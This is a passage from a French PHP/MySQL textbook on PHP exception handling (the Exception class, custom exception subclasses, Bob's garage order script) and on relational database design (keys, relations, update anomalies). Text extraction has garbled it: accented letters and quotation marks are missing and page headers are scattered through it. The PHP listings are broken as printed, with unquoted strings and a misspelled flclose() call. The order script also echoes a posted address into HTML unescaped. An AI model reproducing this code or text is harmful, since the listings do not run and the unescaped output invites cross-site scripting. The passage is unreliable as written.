" dans " . $e->getFile(). " en ligne ". $e->getLine() . "<br />";
}
?>

Dans le Listing 7.1, vous pouvez remarquer que nous avons utilis un certain nombre
de mthodes de la classe Exception, sur lesquelles nous reviendrons dans un instant.
Le rsultat de ce code est prsent la Figure 7.1.

Chapitre 7

Gestion des exceptions

207

Figure 7.1
Ce bloc catch signale le message derreur de lexception et lendroit o lexception est survenue.

Dans cet exemple, vous pouvez remarquer que nous levons une exception de la classe
Exception. Cette classe prdfinie possde des mthodes que vous pouvez utiliser dans
le bloc catch afin de produire un message derreur utile.
La classe Exception
PHP dispose dune classe prdfinie appele Exception. Son constructeur prend deux
paramtres, comme indiqu prcdemment : un message et un code derreur.
Outre ce constructeur, cette classe propose les mthodes suivantes :
m

getCode(). Rennvoie le code tel quil a t pass au constructeur.

getMessage(). Renvoie le message tel quil a t pass au constructeur.

getFile(). Renvoie le chemin daccs complet au fichier dans lequel lexception a


t leve.
getLine(). Renvoie le numro de ligne du fichier dans lequel lexception a t
leve.
getTrace(). Renvoie un tableau contenant une trace dexcution de lendroit o
lexception a t leve.
getTraceAsString(). Renvoie les mmes informations que getTrace, formates
sous forme de chane.
_ _toString().

Permet deffectuer un simple echo dun objet Exception, en fournissant toutes les informations des mthodes prcdentes.

Comme vous le voyez, nous avons utilis les quatre premires mthodes dans le
Listing 7.1. Vous pouvez obtenir les mmes informations (ainsi que la trace dexcution)
laide de linstruction suivante :
echo $e;

La trace dexcution indique quelles fonctions sexcutaient au moment o lexception


a t leve.

208

Partie I

Utilisation de PHP

Exceptions dfinies par lutilisateur


Au lieu dinstancier et de passer une instance de la classe de base Exception, vous
pouvez passer lobjet que vous souhaitez. Dans la plupart des cas, vous tendrez la
classe Exception afin de crer vos propres classes dexception.
Vous pouvez passer nimporte quel autre objet avec votre clause throw. Il se peut que
vous souhaitiez occasionnellement le faire si vous avez des problmes avec un objet
particulier et que vous souhaitiez le passer pour des besoins de dbogage.
La plupart du temps, cependant, vous tendrez la classe Exception. Le manuel PHP
fournit du code qui prsente le squelette de la classe Exception. Ce code, qui peut tre
tlcharg ladresse http://www.php.net/zend-engine-2.php, est reproduit dans le
Listing 7.2. Notez quil sagit non pas du code lui-mme mais de ce que vous pouvez
vous attendre hriter.
Listing 7.2 : classe Exception Ce que vous pouvez vous attendre hriter
<?php
class Exception {
function _ _construct(string $message = NULL, int $code = 0) {
if (func_num_args()) {
$this->message = $message;
}
$this->code = $code;
$this->file = _ _FILE_ _; // de la clause throw
$this->line = _ _LINE_ _; // de la clause throw
$this->trace = debug_backtrace();
$this->string = StringFormat($this);
}
protected
protected
protected
protected

$message = "Unknown exception"; // message de lexception


$code = 0; // code dexception dfini par lutilisateur
$file;
// nom du fichier source de lexception
$line;
// ligne source de lexception

private $trace;
private $string;

// trace dexcution de lexception


// usage interne uniquement!!

final function getMessage(){


return $this->message;
}
final function getCode() {
return $this->code;
}
final function getFile() {
return $this->file;
}
final function getTrace() {
return $this->trace;
}
final function getTraceAsString() {

Chapitre 7

Gestion des exceptions

209

return self::TraceFormat($this);
}
function _toString() {
return $this->string;
}
static private function StringFormat(Exception $exception) {
// ... fonction non disponible dans les scripts PHP
// qui renvoie toutes les infos pertinentes sous forme de chane
}
static private function TraceFormat(Exception $exception) {
// ... fonction non disponible dans les scripts PHP
// qui renvoie la trace dexcution sous forme de chane
}
}
? >

La raison principale qui nous amne examiner cette dfinition de classe consiste
noter que la plupart des mthodes publiques sont finales : vous ne pouvez donc pas les
redfinir. Vous pouvez crer vos propres sous-classes Exceptions, mais vous ne pouvez
pas modifier le comportement des mthodes de base. Notez que vous pouvez redfinir
la fonction _ _toString(), ce qui vous permet de modifier la manire dont lexception
sera affiche. Vous pouvez galement ajouter vos propres mthodes.
Le Listing 7.3 prsente un exemple de classe Exception dfinie par lutilisateur.
Listing 7.3 : exception_utilisateur.php Exemple de classe Exception dfinie
par lutilisateur
<?php
class MonException extends Exception {
function _ _toString() {
return "<table border=\"1\">
<tr>
<td><strong>Exception " . $this->getCode()
. "</strong>: " . $this->getMessage() ."<br />" . " dans "
. $this->getFile() . " en ligne " . $this->getLine()
. "</td>
</tr>
</table><br />";
}
}
try {
throw new MonException("Une erreur terrible sest produite", 42);
}
catch (MonException $m) {
echo $m;
}
?>

210

Partie I

Utilisation de PHP

Dans ce code, vous dclarez une nouvelle classe dexception appele MonException qui
tend la classe de base Exception. La diffrence entre cette classe et la classe Excep
tion tient ce que vous redfinissez la mthode _ _toString() afin de proposer une
sortie amliore de lexception. La sortie rsultant de lexcution de ce code est prsente
la Figure 7.2.
Figure 7.2
La classe myException
fournit un affichage
amlior des exceptions.

Cet exemple est plutt simple. Dans la section suivante, nous allons examiner des
moyens de crer diffrentes exceptions pour grer diffrentes catgories derreur.
Exceptions dans le garage de Bob
Le Chapitre 2 vous a montr comment les donnes des commandes du garage de Bob
pouvaient tre stockes dans un fichier plat. Vous savez que les E/S sur fichier (en fait,
tout type dE/S) sont un secteur des programmes o des erreurs interviennent souvent.
Il sagit ainsi dun bon domaine pour mettre en application la gestion des exceptions.
En revenant au code dorigine, vous pouvez voir que trois choses peuvent mal se passer
avec lcriture dans le fichier : le fichier ne peut pas tre ouvert, un verrou ne peut pas
tre obtenu ou le fichier nest pas accessible en criture. Nous avons donc cr une
classe dexception pour chacune de ces possibilits, comme le montre le Listing 7.4.
Listing 7.4 : exceptions_fichiers.php Exceptions lies aux E/S de fichier
<?php
class ExceptionOuvertureFichier extends Exception {
public function _ _toString() {
return " ExceptionOuvertureFichier " . $this->getCode()
. ": " . $this->getMessage() . "<br />" . " dans "
. $this->getFile() . " en ligne " . $this->getLine()
. "<br />";
}
}
class ExceptionEcritureFichier extends Exception {
public function _ _toString() {
return "ExceptionEcritureFichier " . $this->getCode()
. ": " . $this->getMessage() . "<br />" . " dans "

Chapitre 7

Gestion des exceptions

211

. $this->getFile() . " en ligne " . $this->getLine()


. "<br />";
}
}
class ExceptionVerrouillageFichier extends Exception {
public function _ _toString() {
return "ExceptionVerrouillageFichier " . $this->getCode()
. ": " . $this->getMessage() . "<br />" . " dans "
. $this->getFile() . " en ligne " . $this->getLine()
. "<br />";
}
}
?>

Ces sous-classes de Exception ne font rien de particulirement intressant. En fait,


pour le besoin de cette application, vous pourriez les conserver vides ou utiliser la
classe Exception fournie. Nous avons cependant fourni pour chacune des sous-classes
une mthode _ _toString() qui indique le type dexception survenu.
Nous avons galement rcrit le fichier processorder.php du Chapitre 2 afin dy inclure
lutilisation des exceptions. La nouvelle version est prsente dans le Listing 7.5.
Listing 7.5 : processorder.php Script de traitement des commandes du garage
de Bob incluant la gestion des exceptions
<?php
require_once("exceptions_fichiers.php");
// Cre des noms de variables abrges
$qte_pneus = $_POST[qte_pneus];
$qte_huiles = $_POST[qte_huiles];
$qte_bougies = $_POST[qte_bougies];
$adresse = $_POST[adresse];
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
?>
<html>
<head>
<title>Le garage de Bob R&eacute;sultats de la commande</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>R&eacute;sultats de la commande</h2>
<?php
$date = date(H:i, \l\e j-m-Y);
echo <p>Commmande trait&eacute;e &agrave; ;
echo $date;
echo </p>;
echo <p>Rcapitulatif de votre commande:</p>;

212

Partie I

Utilisation de PHP

$qte_totale = 0;
$qte_totale = $qte_pneus + $qte_huiles + $qte_bougies;
echo Articles command&eacute;s: . $qte_totale . <br />;
if( $qte_totale == 0)
{
echo "Vous navez rien command&eacute;!<br />";
}
else
{
if ( $qte_pneus > 0 )
echo $qte_pneus . pneus<br />;
if ( $qte_huiles > 0 )
echo $qte_huiles . " bidons dhuile<br />";
if ( $qte_bougies > 0 )
echo $qte_bougies . bougies<br />;
}
$montant_total = 0.00;
define(PRIX_PNEUS, 100);
define(PRIX_HUILES, 10);
define(PRIX_BOUGIES, 4);
$montant_total = $qte_pneus * PRIX_PNEUS
+ $qte_huiles * PRIX_HUILES
+ $qte_bougies * PRIX_BOUGIES;
$montant_total = number_format($montant_total, 2, ., );
echo <p>Total de la commande: . $montant_total . </p>;
echo <p>Adresse de livraison: . $adresse . </p>;
$chaine_sortie = "$date\t$qte_pneus pneus\t$qte_huiles bidons " .
"dhuile\t$qte_bougies bougies\t$montant_total \t" .
"$adresse\n";
// Ouverture du fichier en mode ajout
try {
if (!($fp = @fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab))) {
throw new ExceptionOuvertureFichier();
}
if (!flock($fp, LOCK_EX)) {
throw new ExceptionVerrouillageFichier();
}
if (!fwrite($fp, $chaine_sortie, strlen($chaine_sortie))) {
throw new ExceptionEcritureFichier();
}
flock($fp, LOCK_UN);
flclose($fp);
echo <p>Commande sauvegard&eacute;e.</p>;
}
catch (ExceptionOuvertureFichier $ex_of) {
echo "<p><strong>Impossible douvrir le fichier des commandes.
Contactez le webmaster pour plus de renseignements.</strong></p>";
}

Chapitre 7

Gestion des exceptions

213

catch (Exception $ex) {


echo "<p><strong>Nous ne pouvons pas traiter votre commande
pour le moment. Ressayez plus tard.</strong></p>";
}
?>
</body>
</html>

Comme vous pouvez le constater, la section des E/S de fichier de ce script est encapsule dans un bloc try. En gnral, le bon usage en matire de programmation consiste
utiliser des blocs try de petite taille et capturer les exceptions appropries la fin de
chacun dentre eux. Le code de gestion des exceptions est ainsi plus facile crire et
maintenir car vous pouvez voir ce que vous grez.
Si vous ne pouvez pas ouvrir le fichier, vous levez une ExceptionOuvertureFichier;
si vous ne pouvez pas verrouiller le fichier, vous levez une ExceptionVerrouillage
Fichier; enfin, si vous ne pouvez pas crire dans le fichier, vous levez une Exception
EcritureFichier.
Examinez les blocs catch. des fins illustratives, nous nen utilisons que deux : lun
pour grer les ExceptionOuvertureFichier, lautre pour grer les Exception. Les
autres exceptions hritant de Exception, elles seront donc captures par le second bloc
catch. Les blocs catch sont mis en correspondance selon le mme principe que
loprateur instanceof. Il sagit dune bonne raison dtendre vos propres classes
dexception partir dune seule classe.
Attention : si vous levez une exception pour laquelle vous navez pas crit de bloc
catch correspondant, PHP signalera une erreur fatale !

Exceptions et autres mcanismes de gestion des erreurs en PHP


Outre le mcanisme de gestion des exceptions trait dans ce chapitre, PHP dispose dun
support de gestion des erreurs complexe, que nous tudierons au Chapitre 24. Le
processus de leve et de gestion des exceptions ninterfre pas avec ce mcanisme de
gestion des erreurs et ne lempche pas de fonctionner.
Dans le Listing 7.5, vous remarquerez que lappel fopen() est toujours prfix de
loprateur de suppression derreur @. Si cet appel choue, PHP met un avertissement
qui peut tre signal ou non, ou journalis ou non selon les rglages dfinis dans
php.ini. Ces paramtres sont traits en dtail dans le Chapitre 24, mais vous devez
savoir que cet avertissement sera toujours mis, indpendamment du fait que vous
leviez ou non une exception.

214

Partie I

Utilisation de PHP

Lectures complmentaires
La gestion des exceptions tant rcente en PHP, il ny a que peu dcrits sur ce sujet. En
revanche, on trouve dabondantes informations sur la gestion des exceptions. Sun,
notamment, propose un excellent didacticiel qui explique ce que sont les exceptions et
les raisons qui pourraient vous amener les utiliser (dans loptique dune programmation en Java, videmment). Ce didacticiel est disponible ladresse http://
java.sun.com/docs/books/tutorial/essential/exceptions/handling.html.

Prochaine tape
La prochaine tape de ce livre concerne MySQL. Nous montrerons comment crer et
remplir une base de donnes MySQ, puis nous mettrons en uvre ce que vous avez
appris sur PHP afin de pouvoir accder votre base de donnes depuis le Web.

II
Utilisation de MySQL

Conception dune base de donnes web

Cration dune base de donnes web

10

Travailler avec une base de donnes MySQL

11

Accs une base de donnes MySQL partir du Web


avec PHP

12

Administration MySQL avance

13

Programmation MySQL avance

8
Conception dune base
de donnes web
Maintenant que vous connaissez les lments essentiels de PHP, nous allons nous intresser lintgration dune base de donnes dans vos scripts. Au Chapitre 2, nous avons
prsent les avantages de lutilisation dune base de donnes relationnelle la place
dun fichier plat. Voici un rsum des atouts des SGBDR (systmes de base de donnes
relationnelles) :
m
m

Ils permettent daccder aux donnes plus rapidement quavec des fichiers plats.
On peut les interroger trs facilement pour rcuprer des ensembles de donnes
satisfaisant certains critres.
Ils possdent des mcanismes intgrs permettant de grer les accs simultans,
pour que le programmeur, cest--dire vous-mme, nait pas besoin de sen
occuper.

Ils permettent daccder directement aux donnes.

Ils disposent dun systme de privilges intgr.

Concrtement, lutilisation dune base de donnes relationnelle permet de rpondre


rapidement et simplement des questions comme les suivantes : quelle est lorigine de
vos clients, quels sont les produits qui se vendent le mieux ou quelle catgorie de clients
dpense le plus dargent ? Ces informations pourront vous aider amliorer votre site
pour attirer un plus grand nombre dutilisateurs et les fidliser, et il serait bien plus difficile de les obtenir partir de fichiers plats.

218

Partie II

Utilisation de MySQL

Dans cette partie du livre, nous utiliserons le SGBDR MySQL mais, avant dtudier ses
caractristiques spcifiques, nous devons prsenter :
m

les concepts et la terminologie des bases de donnes relationnelles ;

la conception dune base de donnes web ;

larchitecture dune base de donnes web.

Voici un rsum des prochains chapitres :


m

Le Chapitre 9 prsente la configuration de base dont vous aurez besoin pour connecter votre base de donnes MySQL sur le Web. Vous apprendrez crer des utilisateurs, des bases de donnes, des tables et des index. Vous dcouvrirez galement les
diffrents moteurs de stockage de MySQL.
Le Chapitre 10 explique comment interroger la base de donnes, ajouter, supprimer
et modifier des enregistrements partir de la ligne de commande.
Le Chapitre 11 explique comment connecter PHP et MySQL pour pouvoir administrer votre base de donnes partir dune interface web. Nous prsenterons deux
mthodes : lextension mysqli de PHP et la couche dabstraction PEAR:DB.
Le Chapitre 12 couvre en dtail ladministration de MySQL, notamment le systme
des privilges, la scurit et loptimisation.
Le Chapitre 13 dcrit les moteurs de stockage et traite notamment des transactions,
des recherches textuelles et des procdures stockes.

Concepts des bases de donnes relationnelles


Les bases de donnes relationnelles sont, de loin, les bases de donnes les plus utilises.
Elles font appel de solides bases thoriques en algbre relationnelle. Si vous navez
heureusement pas besoin de comprendre cette thorie relationnelle pour pouvoir utiliser
une base de donnes relationnelle, vous devez en revanche connatre quelques concepts
essentiels des bases de donnes.
Tables
Les bases de donnes relationnelles sont composes de relations, que lon appelle plus
couramment des tables. Une table est, comme son nom lindique, un ensemble de
donnes organises de faon tabulaire. Si vous avez dj utilis une feuille de calcul
dans un tableur, vous avez dj utilis une table.
la Figure 8.1, vous trouverez un exemple de table qui contient les noms et les adresses
des clients dune librairie, Book-O-Rama.

Chapitre 8

Conception dune base de donnes web

219

CLIENTS
IDClient

Nom

Adresse

Ville

Julie Dupont

25 rue neuve

Toulouse

Alain Wong

147 avenue Foch

Paris

Michelle Arthur

19 rue blanche

Bordeaux

Figure 8.1
Les informations concernant les clients de Book-O-Rama sont enregistres dans une table.

Cette table possde un nom (Clients), un certain nombre de colonnes (correspondant


chacune un type dinformation) et plusieurs lignes correspondant aux diffrents
clients.
Colonnes
Chaque colonne possde un nom unique et contient diffrentes donnes. En outre,
chaque colonne est associe un type de donnes particulier. Par exemple, dans la table
Clients de la Figure 8.1, vous pouvez constater que la colonne IDClient contient des
entiers, alors que les trois autres contiennent des chanes de caractres. Les colonnes
sont parfois appeles champs ou attributs.
Lignes
Chaque ligne de cette table reprsente un client particulier. Grce au format tabulaire,
toutes ces lignes possdent les mmes attributs. Les lignes peuvent galement tre
appeles enregistrements ou tuples.
Valeurs
Chaque ligne est forme dun ensemble de valeurs particulires correspondant chaque
colonne. Le type de chaque valeur doit correspondre au type de la colonne dans laquelle
elle se trouve.
Cls
Il nous faut ensuite un moyen didentifier chaque client. Gnralement, les noms des
clients ne sont pas trs adapts : si vous possdez un nom assez rpandu, vous avez
probablement dj compris pourquoi. Prenons, par exemple, le nom Julie Dupont dans
la table Clients. En ouvrant un annuaire tlphonique, on se rend aussitt compte quil
existe un grand nombre de personnes possdant ce nom.

220

Partie II

Utilisation de MySQL

Nous pouvons identifier Julie de plusieurs manires. On peut supposer quil sagit de la
seule Julie Dupont habitant son adresse. Cependant, le fait de dsigner ce client par
"Julie Dupont, 25 rue neuve, Toulouse" est assez pnible et un peu trop administratif.
Cela implique galement dutiliser plusieurs colonnes dans la table.
Ici, nous avons choisi une approche que vous reprendrez probablement dans vos applications : nous utilisons un identificateur unique (IDClient) pour chaque client. Ce principe est assez courant puisque vous possdez dj un numro de compte bancaire ou un
numro de scurit sociale qui sont uniques. Ces numros permettent denregistrer les
dtails qui vous concernent dans une base de donnes de faon plus efficace et plus
simple. De plus, ce numro tant artificiel et cr de toutes pices, nous pouvons garantir quil sera unique. Dans la pratique, il existe peu dinformations qui possdent cette
proprit, mme si lon en utilise plusieurs conjointement.
La colonne didentification dune table est appele cl, ou cl primaire. Une cl peut
galement tre rpartie sur plusieurs colonnes. Si, par exemple, nous avions choisi
didentifier Julie par "Julie Dupont, 25 rue neuve, Toulouse", la cl serait forme des
colonnes Nom, Adresse et Ville ; dans ce cas, il serait impossible de garantir son
unicit.
CLIENTS
IDClient

Nom

Adresse

Ville

Julie Dupont

25 rue neuve

Toulouse

Alain Wong

147 avenue Foch

Paris

Michelle Arthur

19 rue blanche

Bordeaux

IDClient

Montant

Date

COMMANDES
IDCommande
1

27.50

02 Avr 2007

12.99

15 Avr 2007

74.00

19 Avr 2007

6.99

01 Mai 2007

Figure 8.2
Chaque commande de la table Commandes fait rfrence un client dans la table Clients.

Chapitre 8

Conception dune base de donnes web

221

Les bases de donnes contiennent gnralement plusieurs tables et se servent des cls
comme dune rfrence dune table une autre. Dans la Figure 8.2, nous avons ajout
une seconde table dans la base de donnes, afin de stocker les commandes effectues
par les clients. Chaque ligne de la table Commandes reprsente une seule commande,
effectue par un seul client, identifi par son IDClient. Si, par exemple, nous examinons la commande dont lIDCommande est 2, nous pouvons voir quelle a t effectue
par le client dont lIDClient est 1. Si nous nous reportons ensuite la table Clients,
nous pouvons constater que cet identifiant dsigne Julie Dupont.
Dans la terminologie des bases de donnes relationnelles, cette relation est appele une
cl trangre. IDClient est la cl primaire dans Clients mais, lorsquelle apparat dans
une autre table comme Commandes, elle devient une cl trangre dans cette table.
Vous vous demandez peut-tre pourquoi nous avons choisi davoir deux tables diffrentes et pourquoi nous ne nous sommes pas contents denregistrer ladresse de Julie dans
Commandes ? Nous expliquerons ce choix dans la prochaine section.
Schmas
Lensemble des structures des tables dune base de donnes est appel schma de la
base de donnes. Il sagit dune sorte de plan. Un schma doit reprsenter les tables
ainsi que leurs colonnes, la cl primaire de chaque table et toutes les cls trangres. Il
ne contient aucune donne, mais vous pouvez choisir de prsenter quelques donnes
typiques avec votre schma pour expliquer son fonctionnement. Un schma peut tre
reprsent par un diagramme informel comme celui des figures prcdentes, par un
diagramme entits-relations (que nous ne prsenterons pas dans ce livre) ou, plus
simplement, sous forme textuelle, comme ici :
Clients(IDClient, Nom, Adresse, Ville)
Commandes(IDCommande, IDClient, Montant, Date)

Les termes souligns dans ce schma sont les cls primaires de la relation dans laquelle
ils apparaissent, tandis que les termes en italique sont les cls trangres de la relation
dans laquelle ils apparaissent en italique.
Relations
Les cls trangres reprsentent une relation entre des donnes de deux tables. Par
exemple, le lien de la table Commandes vers la table Clients reprsente une relation
entre une ligne de Commandes et une ligne de Clients.
Il existe trois principaux types de relations dans une base de donnes relationnelle. Ces
relations peuvent tre classes en fonction du nombre dlments intervenant dans
chaque membre de la relation : un-vers-un, un-vers-plusieurs, ou plusieurs-versplusieurs.

222

Partie II

Utilisation de MySQL

Une relation un-vers-un signifie que la relation fait intervenir un seul lment de chaque
ct. Par exemple, si nous avions plac les adresses dans une autre table que Clients, il
existerait une relation un-vers-un entre elles. Vous pourriez alors avoir une cl trangre
de Addresses vers Clients ou dans lautre sens (cette rciprocit nest pas ncessaire).
Dans une relation un-vers-plusieurs, une ligne dune table est associe plusieurs
lignes dune autre table. Dans notre exemple, un client de la table Clients peut effectuer plusieurs commandes, qui apparatront alors dans la table Commandes. Dans ce type
de relation, la table dont plusieurs lignes participent la relation possde une cl trangre vers lautre table. Ici, nous avons plac IDClient dans la table Commandes pour
illustrer cette relation.
Dans une relation plusieurs-vers-plusieurs, plusieurs lignes dune table sont associes
plusieurs lignes dune autre table. Par exemple, si nous prenons lexemple de deux
tables, Livres et Auteurs, il se peut quun livre ait t crit par deux auteurs, chacun
dentre eux ayant crit dautres livres, soit indpendamment, soit avec dautres auteurs.
Ce type de relation est gnralement assez complexe, cest pourquoi il peut tre intressant de possder les tables Livres, Auteurs et Livres Auteurs. Cette dernire table ne
contiendra que les cls des autres tables sous forme de cls trangres, afin de connatre
les auteurs associs chaque livre.

Conception dune base de donnes web


Dterminer quand vous avez besoin dune nouvelle table et choisir ses cls peut tre
considr comme un art. Vous trouverez dans dautres livres beaucoup dinformations
sur les diagrammes entits-relations et sur la normalisation des bases de donnes, qui
dpassent le cadre de cet ouvrage. Cependant, la plupart du temps, il suffit de respecter
quelques principes de conception assez simples. Nous allons les prsenter dans le
contexte de la librairie Book-O-Rama.
Penser aux objets rels que vous modlisez
Lorsque vous crez une base de donnes, vous modlisez gnralement des objets du
monde rel, les relations qui existent entre eux et vous enregistrez des informations sur
ces objets et ces relations.
Gnralement, chaque type dobjet rel que vous modlisez a besoin de sa propre table.
En effet, dans notre exemple, il faut enregistrer les mmes informations pour tous les
clients. Si un ensemble de donnes possde les mmes proprits, vous pouvez
commencer par crer une table correspondant ces donnes.
Dans lexemple de la librairie Book-O-Rama, nous devons enregistrer des informations
sur les clients, les livres vendre et les dtails de chaque commande. Tous les clients

Chapitre 8

Conception dune base de donnes web

223

possdent un nom et une adresse. Les commandes sont caractrises par une date, un
montant total et un ensemble de livres achets. Chaque livre possde un code ISBN,
un auteur, un titre et un prix.
Daprs ces caractristiques, nous pouvons crer au moins trois tables dans cette base
de donnes : Clients, Commandes et Livres. Ce schma initial est reprsent par la
Figure 8.3.
CLIENTS
IDClient

Nom

Adresse

Ville

Julie Dupont

25 rue neuve

Toulouse

Alain Wong

147 avenue Foch

Paris

Michelle Arthur

19 rue blanche

Bordeaux

IDClient

Montant

Date

COMMANDES
IDCommande
1

27.50

02 Avr 2007

12.99

15 Avr 2007

74.00

19 Avr 2007

6.99

01 Mai 2007

LIVRES
ISBN

Auteur

Titre

Prix

0 672 31697 8

Michael Morgan

Java 2 for Professional Developers

34.99

0 672 31745 1

Thomas Down

Installing GNU/Linux

24.99

0 672 31509 2

Pruitt.et al.

Teach Yourself GIMP in 24 Hours

24.99

Figure 8.3
Le schma initial contient les tables Clients, Commandes et Livres.

Pour linstant, il est impossible de deviner, partir du modle, les livres qui correspondent
chaque commande. Nous allons nous en occuper maintenant.

224

Partie II

Utilisation de MySQL

viter denregistrer des informations redondantes


Plus haut, nous nous sommes demand pourquoi ne pas enregistrer ladresse de Julie
Smith dans la table Commandes.
Si Julie achte plusieurs livres chez Book-O-Rama, cela reviendrait enregistrer
plusieurs fois les informations qui la concernent. Au cours du temps, la table Commandes
pourrait alors ressembler celui de la Figure 8.4.
IDCommande

Montant

Date

IDClient

12

199.50

25 Avr 2007

13

43.00

29 Avr 2007

14

15.99

30 Avr 2007

15

23.75

01 Mai 2007

Nom

Adresse

Ville

Julie Dupont

25 rue neuve

Toulouse

Julie Dupont

25 rue neuve

Toulouse

Julie Dupont

25 rue neuve

Toulouse

Julie Dupont

25 rue neuve

Toulouse

Figure 8.4
Une conception de base de donnes qui enregistre des informations redondantes gaspille
de lespace disque et peut entraner des anomalies dans les donnes.

Cette conception pose essentiellement deux problmes.


m

Elle gaspille de lespace. Pourquoi enregistrer trois fois les donnes concernant
Julie, alors quil suffit de ne les enregistrer quune seule fois ?
Cette approche peut entraner des anomalies dans les mises jour des informations,
cest--dire des situations dans lesquelles certaines informations de la base de
donnes sont modifies avec, pour consquence, une base de donnes dans un tat
incohrent. Lintgrit des donnes est viole et il est alors impossible de distinguer
les donnes correctes des donnes incorrectes. Cette situation implique gnralement
des pertes dinformations.

Il convient dviter trois types danomalies : les anomalies de modifications, dinsertions


et de suppressions.
m

Si Julie dmnage pendant quelle a une commande en cours, il faut mettre jour
son adresse trois endroits au lieu dun seul, ce qui reprsente trois fois plus de
travail. Il est assez facile doublier cette tche et de ne changer son adresse qu un
seul endroit, ce qui entranera des incohrences dans la base de donnes (une
situation quil faut viter tout prix). Ce type de problme est appel anomalie de
modification, puisquil a lieu pendant une modification de la base de donnes.
Nous devons saisir les dtails concernant Julie chaque fois quelle effectue
une commande et vrifier que ces dtails sont cohrents avec les donnes existant dj dans la table. Si nous omettons cette vrification, il se peut que nous

Chapitre 8

Conception dune base de donnes web

225

nous retrouvions avec deux lignes contenant des informations diffrentes sur
Julie. Par exemple, lune de ces lignes peut indiquer que Julie habite Toulouse
et une autre, quelle habite Blagnac. Ce type derreur est appel anomalie
dinsertion, puisquelle a lieu lorsque de nouvelles donnes sont insres dans
les tables.
m

Le troisime type danomalie est appel anomalie de suppression, puisque ces


anomalies surviennent lorsque des donnes sont supprimes de la base de donnes.
Par exemple, imaginons que lorsquune commande est termine nous la supprimons
de la base de donnes. Lorsque toutes les commandes de Julie ont t traites, elles
sont toutes supprimes du tableau Commandes. Cela signifie donc que ladresse de
Julie nexiste plus dans notre base de donnes. Il est alors impossible de lui envoyer
des publicits et, la prochaine fois quelle souhaitera passer une commande, il
faudra rassembler nouveau toutes les informations qui la concernent.

Les bases de donnes sont normalement conues pour quaucune de ces anomalies ne
puisse avoir lieu.
Utiliser des valeurs de colonne atomiques
Utiliser des valeurs de colonne atomiques signifie que, dans chaque attribut de chaque
ligne, vous ne stockez quun seul lment. Par exemple, si nous devons connatre tous
les livres associs chaque commande, il existe plusieurs approches diffrentes.
Nous pouvons ajouter une colonne dans la table Commandes qui fournira la liste de tous
les livres commands (voir la Figure 8.5).
COMMANDES
IDCommande

IDClient

Montant

Date

Livres Commandes

27.50

02 Avr 2007

0 672 31697 8

12.99

15 Avr 2007

0 672 31745 1. 0 672 31509 2

74.00

19 Avr 2007

0 672 31697 8

6.99

01 Mai 2007

0 672 31745 1. 0 672 31509 2. 0 672 31697 8

Figure 8.5
Avec cette architecture, lattribut Livres commands de chaque ligne contient plusieurs valeurs.

Cette organisation nest pas trs judicieuse pour plusieurs raisons. Elle revient imbriquer une table complte dans une colonne, une table qui associe les commandes aux
livres. Il est alors plus difficile de rpondre des questions comme : "Combien dexemplaires du livre Java 2 pour les professionnels ont t commands ?" Le systme ne
peut plus se contenter de compter les champs qui correspondent cette requte ; il doit

226

Partie II

Utilisation de MySQL

analyser la valeur de chaque attribut pour vrifier si elle contient la chane de caractres
recherche.
Au lieu dinsrer une table lintrieur dune autre table, il suffit en fait de crer un
nouvelle table, Livres Commandes, comme celle de la Figure 8.6.
Figure 8.6
Cette architecture
simplifie la recherche
des livres qui ont t
commands.

LIVRES COMMANDES
IDCommande

ISBN

Quantit

0 672 31697 8

0 672 31745 1

0 672 31509 2

0 672 31697 8

0 672 31745 1

0 672 31509 2

0 672 31697 8

Cette table permet de crer une association entre la table Commandes et la table Livres.
Ce type de table est assez rpandu lorsquil existe une relation plusieurs-vers-plusieurs
entre deux objets comme ici : une commande peut concerner plusieurs livres et un livre
peut tre command par plusieurs personnes.
Choisir des cls pertinentes
Assurez-vous que les cls que vous choisissez sont uniques. Dans notre cas, nous avons
cr des cls spciales pour les clients (IDClient) et pour les commandes (IDCommande)
puisque ces objets du monde rel ne possdent pas ncessairement un identificateur
unique. En revanche, nous navons pas besoin de crer un identificateur unique pour les
livres puisquil en existe dj un : le numro ISBN. Pour la table Livre Commandes,
vous pourriez ajouter une cl supplmentaire, mais la combinaison des deux attributs
IDCommande et ISBN est unique tant que plusieurs exemplaires dun mme livre dans la
mme commande sont traits sur une seule ligne. Cest pour cela que Livre Commandes
possde une colonne Quantite.
Penser aux questions que vous poserez votre base de donnes
Il est essentiel de connatre les questions auxquelles la base de donnes doit pouvoir
rpondre ("Quelles sont les meilleures ventes ?", par exemple). Assurez-vous que votre
base contient toutes les donnes ncessaires et que les liens appropris existent entre les
diffrentes tables pour rpondre correctement vos questions.

Chapitre 8

Conception dune base de donnes web

227

viter les architectures ayant beaucoup dattributs vides


Si nous souhaitons ajouter des commentaires aux livres de la base de donnes, nous
pouvons choisir entre deux approches diffrentes, prsentes la Figure 8.7.
LIVRES
ISBN

Auteur

Titre

Prix

0 672 31697 8

Michael Morgan

Java 2 for Professional Developers

34.99

0 672 31745 1

Thomas Down

Installing GNU/Linux

24.99

0 672 31509 2

Pruitt.et al.

Teach Yourself GIMP in 24 Hours

24.99

Commentaire

COMMENTAIRES LIVRES
ISBN

Commentaire

Figure 8.7
Pour fournir des commentaires, nous pouvons ajouter une colonne Commentaire dans la table
Livres ou ajouter une autre table, consacre aux commentaires.

La premire mthode consiste ajouter une colonne Commentaire dans la table Livres.
De cette manire, il existe un champ Commentaire pour chaque livre. Si la base de
donnes contient beaucoup de livres, et si la personne qui rdige les commentaires na
pas lintention de le faire pour chaque livre, il se peut que plusieurs lignes ne possdent
aucune valeur associe cet attribut. On parle dans ce cas de valeurs null.
La prsence de nombreuses valeurs null dans une base de donnes doit tre vite car
elles gaspillent lespace de stockage et peuvent entraner divers problmes lorsque vous
calculez des totaux ou dautres fonctions sur des colonnes numriques. En outre,
lorsquun utilisateur voit une valeur null dans une table, il ne peut pas savoir si la valeur
de cet attribut na aucune signification, sil sagit dune erreur dans la base de donnes
ou sil sagit dune donne qui na pas encore t saisie.
Vous pouvez viter tous ces problmes en utilisant la seconde architecture prsente
la Figure 8.7. Dans cette organisation, seuls les livres qui possdent un commentaire
apparaissent dans la table Commentaires Livres, accompagns de leur commentaire.
Vous remarquerez que la premire architecture implique quil ne peut y avoir quun
commentaire par livre. Si vous souhaitiez pouvoir ajouter plusieurs commentaires pour
le mme livre, il faut utiliser une relation un--plusieurs que seule la seconde architecture est capable de vous apporter. Cette dernire permet galement de reprsenter une

228

Partie II

